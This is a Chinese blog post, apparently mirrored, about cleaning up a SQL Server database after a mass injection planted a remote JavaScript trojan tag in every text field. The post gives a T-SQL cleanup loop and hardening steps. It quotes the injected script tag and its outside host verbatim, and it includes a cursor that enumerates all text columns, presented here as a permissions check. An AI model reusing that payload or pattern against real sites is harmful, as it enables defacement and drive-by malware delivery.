zoukankan      html  css  js  c++  java
  • SQL数据库表防JS木马注入

    今天早上,打开网站一看,发现在自己的网站里面的图片全部不显示了,取而代之的是一串木马网址,被黑!

    经过一整天的处理现在算是正常运转了,先将些许代码整理如下:

    首先打开数据库后,发现所有的数据字段中每个字段都被插入了木马网址,整个网站三十多张表,每张表N个字段,手工删除肯定是麻烦之极,经过整理写出来了一段替换字符

    代码
    ----------------------替换数据表中每个字符段内中的特殊值------------------------
    --鉴于获取数据表的列表数据时候经常需要获取字段名称。特整理了下如下代码。
    --适用场合:设计或者更新SQL存储过程的Select语句或者Insert语句
    --返回字符串格式类似于:"ID,BeginTime,EndTime,AddIP,UpdateUser,UpdateTime,UpdateIP"
    --Select name from syscolumns Where ID=OBJECT_ID('数据表名称')
    --定义数据表名称
    Declare @TargetTableName nvarchar(
    250)
    Set @TargetTableName
    ='表名称'
    --定义列总数
    Declare @TotleColumns
    int
    select @TotleColumns
    =Count(*) from syscolumns Where ID=OBJECT_ID(@TargetTableName)
    --print @TotleColumns
    --select * from syscolumns Where ID=OBJECT_ID(@TargetTableName)
    --定义所有字段名称字符串
    Declare @ColumnsString nvarchar(
    4000)
    Declare @TempName nvarchar(
    4000)
    set @ColumnsString=''
    set @TempName=''
    declare @i
    int
    set @i=2
    while @i<=@TotleColumns
    begin
    select @TempName
    =Name from syscolumns Where ID=OBJECT_ID(@TargetTableName) and colOrder=@i
    exec(
    'UPDATE '+@TargetTableName+' SET '+ @TempName+'= replace('+ @TempName+',''<script src=http://makeupcn.cn/x.js></script>'','''')'
    )
    -- Set @ColumnsString=@ColumnsString+','+@TempName
    set @i=@i+1
    end
    -- 显示结果
    exec(
    'select * from '+ @TargetTableName
    )

    本来想使用游标实现整个数据库的遍历,由于时间紧凑,就手动的一张张表进行筛选。

    对于数据库安全性的解决之道:

    sql 2000的做法:

    1、不要使用sa用户连接数据库

    2、新建一个public权限数据库用户,并用这个访问数据库

    3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限 
    4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×” 
    5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):
       DECLARE @T varchar(255),
       @C varchar(255)
       DECLARE Table_Cursor CURSOR FOR
       Select a.name,b.name from sysobjects a,syscolumns b
       where a.id=b.id and a.xtype= 'u ' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
       OPEN Table_Cursor
       FETCH NEXT FROM Table_Cursor INTO @T,@C
       WHILE(@@FETCH_STATUS=0)
       BEGIN print @c
       FETCH NEXT FROM Table_Cursor INTO @T,@C
       END
       CLOSE Table_Cursor
       DEALLOCATE Table_Cursor
    恩,就是这样了,但愿该木马不要再来兴风作浪

  • 相关阅读:
    转--- 一些概念不错的理解
    python 生产者 --- 消费者
    python GUI 之 tkinter
    读DataSnap源代码(二)
    读DataSnap源代码(一)
    FireDAC探索 (二)
    FireDAC内部初探
    C++Builder XE7 中“匿名”方法实现
    DelphiXE7 Datasnap TDSClientCallbackChannelManager内部实现初探
    C++ Builder使用VC DLL
  • 原文地址:https://www.cnblogs.com/zhijianliutang/p/1918034.html
Copyright © 2011-2022 走看看